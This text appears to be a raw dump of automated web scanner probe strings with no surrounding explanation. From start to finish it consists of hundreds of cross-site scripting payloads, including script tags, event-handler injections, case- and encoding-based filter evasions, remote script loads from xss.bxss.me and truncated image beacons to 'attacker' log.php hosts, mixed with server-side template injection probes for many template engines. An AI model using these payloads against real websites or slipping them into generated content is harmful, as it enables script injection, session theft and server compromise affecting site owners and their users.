555<ScR<ScRiPt>IpT>vBc1(9283)</sCr<ScRiPt>IpT>

<th:t="${dfb}#foreach

555<isindex type=image src=1 onerror=7o7a(9610)>

555<body onload=UDRg(9610)>

98991*97996*98991*97996

5559504745

555<ScRiPt >vBc1(9662)</ScRiPt>

bfgx9192\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9192

555<ScRiPt >CpIN(9263)</ScRiPt>

555

dfb{{{this}}}xca

555<iframe src='data:text/html

dfb{@math key=98991 method="multiply" operand=97996/}xca

bfg4111\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4111

555<img src=//xss.bxss.me/t/dot.gif onload=UDRg(9054)>

<%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9882></ScRiPt>

bfgx8626\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8626

555<body onload=7o7a(9108)>

dfb{{{this}}}xca

#{98991*97996*98991*97996}

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=xyz OnErRor=UDRg(9729)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9833></ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=7o7a(9699)>

555<ScRiPt >vBc1(9092)</ScRiPt>

555

555<img/src=">" onerror=alert(9491)>

555

555'"()&%<zzz><ScRiPt >PdtO(9661)</ScRiPt>

dfb#{xca}=123

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555<img src=xyz OnErRor=7o7a(9690)>

#{98991*97996*98991*97996}

555<ScRiPt >CpIN(9790)</ScRiPt>

555<svg  \xa0onload=vBc1(9621)

dfb{{98991*97996}}xca

555

dfb{{'abcd'.toUpperCase()}}xca

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%55%44%52%67%289327%29%3C%2F%73%43%72%69%70%54%3E

'"()&%<zzz><ScRiPt >PdtO(9800)</ScRiPt>

555<img/src=">" onerror=alert(9355)>

dfb[[${98991*97996}]]xca

555<svg  \xa0onload=CpIN(9712)

dfb#{xca}=123

555<isindex type=image src=1 onerror=vBc1(9032)>

<th:t="${dfb}#foreach

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

%35%35%35%3C%53%63%52%69%50%74%20%3E%37%6F%37%61%289731%29%3C%2F%73%43%72%69%70%54%3E

555<iframe src='data:text/html

5559076861

555\u003CScRiPt\UDRg(9349)\u003C/sCripT\u003E

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{'abcd'.toUpperCase()}}xca

555<isindex type=image src=1 onerror=CpIN(9682)>

555

dfb__${98991*97996}__::.x

555\u003CScRiPt\7o7a(9611)\u003C/sCripT\u003E

dfb{{98991*97996}}xca

555<body onload=vBc1(9000)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555

555<iframe src='data:text/html

555&lt

bfg4024\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4024

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=//xss.bxss.me/t/dot.gif onload=vBc1(9774)>

dfb[[${98991*97996}]]xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555&lt

dfb{{98991*97996}}xca

\xf6<img zzz onmouseover=7o7a(90981) //\xf6>

555<ScRiPt >dsGo(9519)</ScRiPt>

555<body onload=CpIN(9044)>

dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

bfgx10128\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10128

555<img src=xyz OnErRor=vBc1(9152)>

dfb[[${98991*97996}]]xca

555<img src=//xss.bxss.me/t/dot.gif onload=CpIN(9903)>

555

\xf6<img zzz onmouseover=UDRg(98661) //\xf6>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<input autofocus onfocus=7o7a(9900)>

dfb[[${98991*97996}]]xca

555<WF5ISJ>C9DSI[!+!]</WF5ISJ>

555<img/src=">" onerror=alert(9754)>

555<input autofocus onfocus=UDRg(9140)>

555<img src=xyz OnErRor=CpIN(9634)>

dfb__${98991*97996}__::.x

dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

555<ScRiPt >C1As(9364)</ScRiPt>

555<img/src=">" onerror=alert(9221)>

<a HrEF=http://xss.bxss.me></a>

%35%35%35%3C%53%63%52%69%50%74%20%3E%76%42%63%31%289882%29%3C%2F%73%43%72%69%70%54%3E

dfb__${98991*97996}__::.x

<a HrEF=http://xss.bxss.me></a>

dfb[[${98991*97996}]]xca

555<script>dsGo(9365)</script>

<a HrEF=jaVaScRiPT:>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%43%70%49%4E%289120%29%3C%2F%73%43%72%69%70%54%3E

555<W3FVI8>6OXSO[!+!]</W3FVI8>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

555\u003CScRiPt\vBc1(9722)\u003C/sCripT\u003E

555}body{zzz:Expre/**/SSion(7o7a(9954))}

<th:t="${dfb}#foreach

555<ScRiPt >7nk2(9951)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555\u003CScRiPt\CpIN(9646)\u003C/sCripT\u003E

555<script>C1As(9899)</script>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>dsGo(9841)</script>9841

555<ScRiPt >Dbot(9788)</ScRiPt>

555&lt

5553ITWo <ScRiPt >7o7a(9633)</ScRiPt>

555<WMTYJH>RO057[!+!]</WMTYJH>

555

555&lt

555<ScRiPt >fAs4(9805)</ScRiPt>

555}body{zzz:Expre/**/SSion(UDRg(9110))}

555<ScR<ScRiPt>IpT>dsGo(9035)</sCr<ScRiPt>IpT>

555<script>C1As(9650)</script>9650

555<WS7WPZ>D6Z95[!+!]</WS7WPZ>

555<script>7nk2(9118)</script>

\xf6<img zzz onmouseover=vBc1(91241) //\xf6>

\xf6<img zzz onmouseover=CpIN(90011) //\xf6>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555aA9kv <ScRiPt >UDRg(9750)</ScRiPt>

555<script>Dbot(9750)</script>

555<W6GEF2>RQ0YX[!+!]</W6GEF2>

555<input autofocus onfocus=vBc1(9633)>

555<ScRiPt >dsGo(9517)</ScRiPt>

555<WU0VWV>S712P[!+!]</WU0VWV>

555<ScR<ScRiPt>IpT>C1As(9378)</sCr<ScRiPt>IpT>

555<script>7nk2(9045)</script>9045

555

555<input autofocus onfocus=CpIN(9396)>

555<script>Dbot(9710)</script>9710

555<script>fAs4(9794)</script>

555<ifRAme sRc=9734.com></IfRamE>

555<ScRiPt >C1As(9732)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9217></ScRiPt>

555<WLDIDF>L733Q[!+!]</WLDIDF>

<a HrEF=http://xss.bxss.me></a>

dfb{{98991*97996}}xca

555<ScR<ScRiPt>IpT>7nk2(9783)</sCr<ScRiPt>IpT>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9763></ScRiPt>

555<ScR<ScRiPt>IpT>Dbot(9124)</sCr<ScRiPt>IpT>

555<ScRiPt >dsGo(9272)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<aWoRuVp x=9793>

555<svg  \xa0onload=dsGo(9760)

555<ScRiPt >7nk2(9526)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<script>fAs4(9151)</script>9151

555<ifRAme sRc=9454.com></IfRamE>

dfb[[${98991*97996}]]xca

555<ScRiPt >Dbot(9332)</ScRiPt>

555<ScRiPt >C1As(9664)</ScRiPt>

555<img sRc='http://attacker-9854/log.php?

555<ScR<ScRiPt>IpT>fAs4(9005)</sCr<ScRiPt>IpT>

555<aRtk0VP x=9130>

<a HrEF=jaVaScRiPT:>

555<isindex type=image src=1 onerror=dsGo(9739)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9467></ScRiPt>

555}body{zzz:Expre/**/SSion(vBc1(9118))}

dfb__${98991*97996}__::.x

555<svg  \xa0onload=C1As(9098)

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9343></ScRiPt>

555<img sRc='http://attacker-9952/log.php?

555<aWRqAct<

555<ScRiPt >fAs4(9248)</ScRiPt>

555}body{zzz:Expre/**/SSion(CpIN(9192))}

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

5559tu5e <ScRiPt >vBc1(9893)</ScRiPt>

555<iframe src='data:text/html

555lV7p3 <ScRiPt >CpIN(9668)</ScRiPt>

555<ScRiPt >7nk2(9910)</ScRiPt>

555<aR8USdV<

555<isindex type=image src=1 onerror=C1As(9693)>

555<ScRiPt >Dbot(9361)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9582></ScRiPt>

555'"()&%<zzz><ScRiPt >5zjb(9788)</ScRiPt>

555<ScRiPt >fAs4(9631)</ScRiPt>

555<WC3L4C>EMTRI[!+!]</WC3L4C>

555<body onload=dsGo(9945)>

555<svg  \xa0onload=7nk2(9260)

555<ScRiPt >PdtO(9017)</ScRiPt>

555'"()&%<zzz><ScRiPt >3RWX(9127)</ScRiPt>

555<iframe src='data:text/html

555<WN0HKF>MJCXU[!+!]</WN0HKF>

555<ifRAme sRc=9817.com></IfRamE>

555<img src=//xss.bxss.me/t/dot.gif onload=dsGo(9238)>

555<svg  \xa0onload=Dbot(9794)

555<svg  \xa0onload=fAs4(9369)

'"()&%<zzz><ScRiPt >5zjb(9977)</ScRiPt>

555<ifRAme sRc=9722.com></IfRamE>

555<WRWKQZ>G6HVK[!+!]</WRWKQZ>

555<body onload=C1As(9380)>

555<a6VvCkU x=9531>

5559874237

555<isindex type=image src=1 onerror=7nk2(9422)>

'"()&%<zzz><ScRiPt >3RWX(9624)</ScRiPt>

555<isindex type=image src=1 onerror=Dbot(9064)>

555<isindex type=image src=1 onerror=fAs4(9333)>

555<img src=xyz OnErRor=dsGo(9387)>

555<img src=//xss.bxss.me/t/dot.gif onload=C1As(9874)>

555<iframe src='data:text/html

555<img sRc='http://attacker-9073/log.php?

555<a5ffbQw x=9223>

bfg5219\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5219

555<iframe src='data:text/html

555<script>PdtO(9904)</script>

5559753135

555<img src=xyz OnErRor=C1As(9859)>

555<img/src=">" onerror=alert(9655)>

555<body onload=fAs4(9257)>

555<body onload=7nk2(9807)>

555<iframe src='data:text/html

555<script>PdtO(9894)</script>9894

555<img sRc='http://attacker-9540/log.php?

555<a7rqTCn<

bfgx8608\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8608

555<img src=//xss.bxss.me/t/dot.gif onload=7nk2(9818)>

555<img/src=">" onerror=alert(9246)>

555<ScR<ScRiPt>IpT>PdtO(9268)</sCr<ScRiPt>IpT>

bfg4167\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4167

%35%35%35%3C%53%63%52%69%50%74%20%3E%64%73%47%6F%289067%29%3C%2F%73%43%72%69%70%54%3E

555<img src=//xss.bxss.me/t/dot.gif onload=fAs4(9902)>

<%={{={@{#{${dfb}}%>

555<img src=xyz OnErRor=7nk2(9672)>

555<ScRiPt >PdtO(9055)</ScRiPt>

555'"()&%<zzz><ScRiPt >A8bE(9347)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%43%31%41%73%289101%29%3C%2F%73%43%72%69%70%54%3E

555<body onload=Dbot(9691)>

bfgx8124\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8124

555<aBSZxQS<

555\u003CScRiPt\dsGo(9446)\u003C/sCripT\u003E

555<img src=xyz OnErRor=fAs4(9165)>

555<img/src=">" onerror=alert(9047)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9133></ScRiPt>

555\u003CScRiPt\C1As(9655)\u003C/sCripT\u003E

555

555'"()&%<zzz><ScRiPt >t7Ua(9916)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=Dbot(9050)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%37%6E%6B%32%289338%29%3C%2F%73%43%72%69%70%54%3E

555&lt

<%={{={@{#{${dfb}}%>

'"()&%<zzz><ScRiPt >A8bE(9439)</ScRiPt>

555<img/src=">" onerror=alert(9600)>

'"()&%<zzz><ScRiPt >t7Ua(9122)</ScRiPt>

<th:t="${dfb}#foreach

555<ScRiPt >PdtO(9539)</ScRiPt>

555&lt

555<img src=xyz OnErRor=Dbot(9348)>

\xf6<img zzz onmouseover=dsGo(96191) //\xf6>

5559747704

555

555\u003CScRiPt\7nk2(9660)\u003C/sCripT\u003E

5559680721

555

bfg10432\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10432

555<svg  \xa0onload=PdtO(9696)

%35%35%35%3C%53%63%52%69%50%74%20%3E%66%41%73%34%289123%29%3C%2F%73%43%72%69%70%54%3E

\xf6<img zzz onmouseover=C1As(92051) //\xf6>

555<input autofocus onfocus=dsGo(9441)>

bfg3039\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3039

555&lt

555<img/src=">" onerror=alert(9984)>

<th:t="${dfb}#foreach

bfgx3274\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3274

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<input autofocus onfocus=C1As(9965)>

555<isindex type=image src=1 onerror=PdtO(9196)>

<a HrEF=http://xss.bxss.me></a>

555\u003CScRiPt\fAs4(9985)\u003C/sCripT\u003E

bfgx10644\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10644

555

<%={{={@{#{${dfb}}%>

%35%35%35%3C%53%63%52%69%50%74%20%3E%44%62%6F%74%289136%29%3C%2F%73%43%72%69%70%54%3E

\xf6<img zzz onmouseover=7nk2(97111) //\xf6>

<a HrEF=http://xss.bxss.me></a>

dfb{{98991*97996}}xca

555&lt

555

<%={{={@{#{${dfb}}%>

<a HrEF=jaVaScRiPT:>

555<iframe src='data:text/html

<a HrEF=jaVaScRiPT:>

555

dfb[[${98991*97996}]]xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<input autofocus onfocus=7nk2(9374)>

555\u003CScRiPt\Dbot(9704)\u003C/sCripT\u003E

555<body onload=PdtO(9519)>

555}body{zzz:Expre/**/SSion(dsGo(9747))}

<th:t="${dfb}#foreach

\xf6<img zzz onmouseover=fAs4(98751) //\xf6>

555

<th:t="${dfb}#foreach

555&lt

<a HrEF=http://xss.bxss.me></a>

dfb__${98991*97996}__::.x

555}body{zzz:Expre/**/SSion(C1As(9408))}

555<input autofocus onfocus=fAs4(9444)>

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555B2Guk <ScRiPt >dsGo(9646)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=PdtO(9985)>

555

dfb{{98991*97996}}xca

555wPpaP <ScRiPt >C1As(9816)</ScRiPt>

\xf6<img zzz onmouseover=Dbot(93371) //\xf6>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<a HrEF=jaVaScRiPT:>

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >5zjb(9622)</ScRiPt>

555<img src=xyz OnErRor=PdtO(9276)>

555<WS5OC8>8HUV7[!+!]</WS5OC8>

555<input autofocus onfocus=Dbot(9577)>

555<W5FFQJ>LSRZD[!+!]</W5FFQJ>

dfb[[${98991*97996}]]xca

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555}body{zzz:Expre/**/SSion(7nk2(9212))}

<a HrEF=jaVaScRiPT:>

555<img/src=">" onerror=alert(9023)>

555<WJG84M>T12XX[!+!]</WJG84M>

dfb__${98991*97996}__::.x

<a HrEF=http://xss.bxss.me></a>

555<ifRAme sRc=9418.com></IfRamE>

555<script>5zjb(9535)</script>

555<ifRAme sRc=9878.com></IfRamE>

555

dfb{{98991*97996}}xca

555}body{zzz:Expre/**/SSion(fAs4(9865))}

5554f285 <ScRiPt >7nk2(9301)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

%35%35%35%3C%53%63%52%69%50%74%20%3E%50%64%74%4F%289962%29%3C%2F%73%43%72%69%70%54%3E

<a HrEF=jaVaScRiPT:>

555<script>5zjb(9770)</script>9770

dfb{{98991*97996}}xca

555i950C <ScRiPt >fAs4(9803)</ScRiPt>

dfb[[${98991*97996}]]xca

555<aYDBEoc x=9037>

555<ScRiPt >3RWX(9205)</ScRiPt>

555<WU32EV>RAWMD[!+!]</WU32EV>

555<aAVMIqz x=9592>

555\u003CScRiPt\PdtO(9907)\u003C/sCripT\u003E

dfb[[${98991*97996}]]xca

555}body{zzz:Expre/**/SSion(Dbot(9789))}

555<WZ89IA>RIXJI[!+!]</WZ89IA>

555<img sRc='http://attacker-9057/log.php?

dfb__${98991*97996}__::.x

555<W7TPRA>V7S6V[!+!]</W7TPRA>

555<ScR<ScRiPt>IpT>5zjb(9252)</sCr<ScRiPt>IpT>

555<img sRc='http://attacker-9245/log.php?

555x26Dw <ScRiPt >Dbot(9196)</ScRiPt>

555<ifRAme sRc=9501.com></IfRamE>

555&lt

dfb__${98991*97996}__::.x

555<ifRAme sRc=9860.com></IfRamE>

555<script>3RWX(9120)</script>

555<aIRPWFf x=9195>

555<aIj8JOF<

555<WJUGKV>CXKUI[!+!]</WJUGKV>

555<a02xMfy<

555<a4ruoF3 x=9289>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >5zjb(9064)</ScRiPt>

\xf6<img zzz onmouseover=PdtO(93731) //\xf6>

555<img sRc='http://attacker-9916/log.php?

555<script>3RWX(9293)</script>9293

555<ifRAme sRc=9014.com></IfRamE>

555<ScRiPt >t7Ua(9558)</ScRiPt>

555<img sRc='http://attacker-9369/log.php?

555<ScRiPt >A8bE(9497)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9705></ScRiPt>

555<input autofocus onfocus=PdtO(9514)>

555<aSrQUyM<

555<ScRiPt >5zjb(9926)</ScRiPt>

555<WGF3IX>BCOAI[!+!]</WGF3IX>

555<ScR<ScRiPt>IpT>3RWX(9824)</sCr<ScRiPt>IpT>

555<aivl8xq x=9460>

555<WOQ4TO>XRZ7N[!+!]</WOQ4TO>

555<svg  \xa0onload=5zjb(9675)

555<aTvpv6Q<

555<isindex type=image src=1 onerror=5zjb(9388)>

<a HrEF=http://xss.bxss.me></a>

555<script>t7Ua(9281)</script>

555<script>A8bE(9843)</script>

555<ScRiPt >3RWX(9259)</ScRiPt>

555<img sRc='http://attacker-9256/log.php?

555<iframe src='data:text/html

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9561></ScRiPt>

555<script>t7Ua(9145)</script>9145

555<script>A8bE(9896)</script>9896

555<aPesLR7<

<a HrEF=jaVaScRiPT:>

555<ScRiPt >3RWX(9026)</ScRiPt>

555<ScR<ScRiPt>IpT>A8bE(9480)</sCr<ScRiPt>IpT>

555<body onload=5zjb(9435)>

555<ScR<ScRiPt>IpT>t7Ua(9792)</sCr<ScRiPt>IpT>

555<ScRiPt >A8bE(9538)</ScRiPt>

555<svg  \xa0onload=3RWX(9869)

555<ScRiPt >t7Ua(9775)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9959></ScRiPt>

555}body{zzz:Expre/**/SSion(PdtO(9408))}

555<img src=//xss.bxss.me/t/dot.gif onload=5zjb(9260)>

555Qm3CV <ScRiPt >PdtO(9546)</ScRiPt>

555<isindex type=image src=1 onerror=3RWX(9800)>

555<ScRiPt >t7Ua(9546)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9413></ScRiPt>

555<iframe src='data:text/html

555<img src=xyz OnErRor=5zjb(9876)>

555<svg  \xa0onload=t7Ua(9215)

555<ScRiPt >A8bE(9360)</ScRiPt>

555'"()&%<zzz><ScRiPt >WL5S(9338)</ScRiPt>

555<WSC3RF>MJXYO[!+!]</WSC3RF>

555<img/src=">" onerror=alert(9969)>

'"()&%<zzz><ScRiPt >WL5S(9959)</ScRiPt>

555<body onload=3RWX(9839)>

555'"()&%<zzz><ScRiPt >48Vy(9980)</ScRiPt>

555'"()&%<zzz><ScRiPt >EJwg(9201)</ScRiPt>

555<ifRAme sRc=9742.com></IfRamE>

555<svg  \xa0onload=A8bE(9092)

%35%35%35%3C%53%63%52%69%50%74%20%3E%35%7A%6A%62%289689%29%3C%2F%73%43%72%69%70%54%3E

555<img src=//xss.bxss.me/t/dot.gif onload=3RWX(9824)>

555<isindex type=image src=1 onerror=t7Ua(9347)>

'"()&%<zzz><ScRiPt >48Vy(9784)</ScRiPt>

5559667400

'"()&%<zzz><ScRiPt >EJwg(9253)</ScRiPt>

555<isindex type=image src=1 onerror=A8bE(9021)>

555<aLuovtp x=9344>

555\u003CScRiPt\5zjb(9396)\u003C/sCripT\u003E

555<img src=xyz OnErRor=3RWX(9259)>

555<iframe src='data:text/html

5559893109

5559603553

555<iframe src='data:text/html

bfg10895\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10895

555&lt

555<img sRc='http://attacker-9146/log.php?

555<img/src=">" onerror=alert(9663)>

bfgx10081\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10081

555<body onload=t7Ua(9335)>

\xf6<img zzz onmouseover=5zjb(98781) //\xf6>

555<body onload=A8bE(9913)>

555<a8ahItJ<

bfg8257\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8257

<%={{={@{#{${dfb}}%>

%35%35%35%3C%53%63%52%69%50%74%20%3E%33%52%57%58%289701%29%3C%2F%73%43%72%69%70%54%3E

bfg2967\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2967

555<img src=//xss.bxss.me/t/dot.gif onload=t7Ua(9998)>

555<img src=//xss.bxss.me/t/dot.gif onload=A8bE(9632)>

555

bfgx6975\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6975

555<input autofocus onfocus=5zjb(9955)>

555\u003CScRiPt\3RWX(9111)\u003C/sCripT\u003E

555<img src=xyz OnErRor=A8bE(9328)>

bfgx7677\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7677

555<img src=xyz OnErRor=t7Ua(9776)>

<a HrEF=http://xss.bxss.me></a>

555<img/src=">" onerror=alert(9968)>

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555<img/src=">" onerror=alert(9861)>

555&lt

<a HrEF=jaVaScRiPT:>

<%={{={@{#{${dfb}}%>

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%41%38%62%45%289784%29%3C%2F%73%43%72%69%70%54%3E

\xf6<img zzz onmouseover=3RWX(92981) //\xf6>

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%74%37%55%61%289410%29%3C%2F%73%43%72%69%70%54%3E

555}body{zzz:Expre/**/SSion(5zjb(9492))}

555\u003CScRiPt\A8bE(9660)\u003C/sCripT\u003E

555<input autofocus onfocus=3RWX(9595)>

555

dfb{{98991*97996}}xca

555EMnAU <ScRiPt >5zjb(9391)</ScRiPt>

<th:t="${dfb}#foreach

555\u003CScRiPt\t7Ua(9149)\u003C/sCripT\u003E

<a HrEF=http://xss.bxss.me></a>

555&lt

555

<th:t="${dfb}#foreach

555<WTHEGV>ACDAN[!+!]</WTHEGV>

<a HrEF=jaVaScRiPT:>

dfb{{98991*97996}}xca

\xf6<img zzz onmouseover=A8bE(93081) //\xf6>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555&lt

555

555}body{zzz:Expre/**/SSion(3RWX(9894))}

555

555<ifRAme sRc=9461.com></IfRamE>

dfb{98991*97996}xca

555<input autofocus onfocus=A8bE(9551)>

\xf6<img zzz onmouseover=t7Ua(99281) //\xf6>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb${98991*97996}xca

dfb{{98991*97996}}xca

555UHkeo <ScRiPt >3RWX(9889)</ScRiPt>

555

555<aXBpYr3 x=9965>

<a HrEF=http://xss.bxss.me></a>

dfb#{98991*97996}xca

555<input autofocus onfocus=t7Ua(9847)>

dfb[[${98991*97996}]]xca

555<WQL8DF>UJOH4[!+!]</WQL8DF>

555<img sRc='http://attacker-9756/log.php?

<a HrEF=jaVaScRiPT:>

<a HrEF=http://xss.bxss.me></a>

dfb{#98991*97996}xca

dfb{{98991*97996}}xca

555<a1TWvZT<

555<ifRAme sRc=9673.com></IfRamE>

555}body{zzz:Expre/**/SSion(A8bE(9474))}

dfb__${98991*97996}__::.x

<a HrEF=jaVaScRiPT:>

555<aIjGLb2 x=9344>

dfb{@98991*97996}xca

dfb[[${98991*97996}]]xca

555x4Lzb <ScRiPt >A8bE(9818)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{=98991*97996}}xca

555}body{zzz:Expre/**/SSion(t7Ua(9876))}

555<img sRc='http://attacker-9683/log.php?

555<WLHLX0>NFANO[!+!]</WLHLX0>

dfb@(98991*97996)xca

dfb__${98991*97996}__::.x

55593NxV <ScRiPt >t7Ua(9031)</ScRiPt>

dfb<%=98991*97996%>xca

555<ScRiPt >48Vy(9941)</ScRiPt>

555<ifRAme sRc=9340.com></IfRamE>

555<WU1TYK>W9GQ4[!+!]</WU1TYK>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<aJtVHio<

555<W9SAZG>QUFOV[!+!]</W9SAZG>

555<ScRiPt >EJwg(9270)</ScRiPt>

555<aP2osS9 x=9021>

555<script>48Vy(9271)</script>

dfb#set($x=98991*97996)${x}xca

555<ifRAme sRc=9003.com></IfRamE>

555<aXczZ6N x=9042>

dfb{{"abc"|title}}xca

555<script>48Vy(9583)</script>9583

555<WHQ80W>PSDDK[!+!]</WHQ80W>

555<img sRc='http://attacker-9173/log.php?

555<img sRc='http://attacker-9328/log.php?

555<ScR<ScRiPt>IpT>48Vy(9887)</sCr<ScRiPt>IpT>

555<akGtDD6<

555<script>EJwg(9566)</script>

print("dfb" . 98991*97996 . "xca")

555<amKFoYc<

555<ScRiPt >48Vy(9396)</ScRiPt>

98991*97996*98991*97996

555<script>EJwg(9747)</script>9747

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9263></ScRiPt>

555<ScR<ScRiPt>IpT>EJwg(9950)</sCr<ScRiPt>IpT>

dfb{{{this}}}xca

555<ScRiPt >48Vy(9454)</ScRiPt>

555<ScRiPt >EJwg(9167)</ScRiPt>

#{98991*97996*98991*97996}

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9307></ScRiPt>

dfb#{xca}=123

555<svg  \xa0onload=48Vy(9380)

555<isindex type=image src=1 onerror=48Vy(9897)>

555<ScRiPt >EJwg(9007)</ScRiPt>

dfb{{'abcd'.toUpperCase()}}xca

555<svg  \xa0onload=EJwg(9123)

555<iframe src='data:text/html

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<isindex type=image src=1 onerror=EJwg(9362)>

dfb{{98991*97996}}xca

555<body onload=48Vy(9102)>

dfb[[${98991*97996}]]xca

555<iframe src='data:text/html

dfb__${98991*97996}__::.x

555<img src=//xss.bxss.me/t/dot.gif onload=48Vy(9236)>

555<body onload=EJwg(9033)>

555<img src=xyz OnErRor=48Vy(9836)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img src=//xss.bxss.me/t/dot.gif onload=EJwg(9965)>

555<img src=xyz OnErRor=EJwg(9888)>

555<img/src=">" onerror=alert(9697)>

555<ScRiPt >WL5S(9143)</ScRiPt>

555<img/src=">" onerror=alert(9295)>

555<WQZL2S>HDOUT[!+!]</WQZL2S>

%35%35%35%3C%53%63%52%69%50%74%20%3E%34%38%56%79%289856%29%3C%2F%73%43%72%69%70%54%3E

%35%35%35%3C%53%63%52%69%50%74%20%3E%45%4A%77%67%289860%29%3C%2F%73%43%72%69%70%54%3E

555<script>WL5S(9626)</script>

555\u003CScRiPt\EJwg(9240)\u003C/sCripT\u003E

555\u003CScRiPt\48Vy(9775)\u003C/sCripT\u003E

555'"()&%<zzz><ScRiPt >FuL1(9385)</ScRiPt>

555<script>WL5S(9497)</script>9497

555&lt

555<ScR<ScRiPt>IpT>WL5S(9980)</sCr<ScRiPt>IpT>

555&lt

'"()&%<zzz><ScRiPt >FuL1(9112)</ScRiPt>

\xf6<img zzz onmouseover=48Vy(97691) //\xf6>

\xf6<img zzz onmouseover=EJwg(92751) //\xf6>

555<ScRiPt >WL5S(9586)</ScRiPt>

555<input autofocus onfocus=48Vy(9096)>

5559204611

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9721></ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<input autofocus onfocus=EJwg(9629)>

bfg4543\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4543

<a HrEF=jaVaScRiPT:>

555<ScRiPt >WL5S(9901)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

bfgx1306\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1306

555}body{zzz:Expre/**/SSion(48Vy(9495))}

<a HrEF=jaVaScRiPT:>

555<svg  \xa0onload=WL5S(9652)

<%={{={@{#{${dfb}}%>

555IrEWq <ScRiPt >48Vy(9797)</ScRiPt>

555<isindex type=image src=1 onerror=WL5S(9265)>

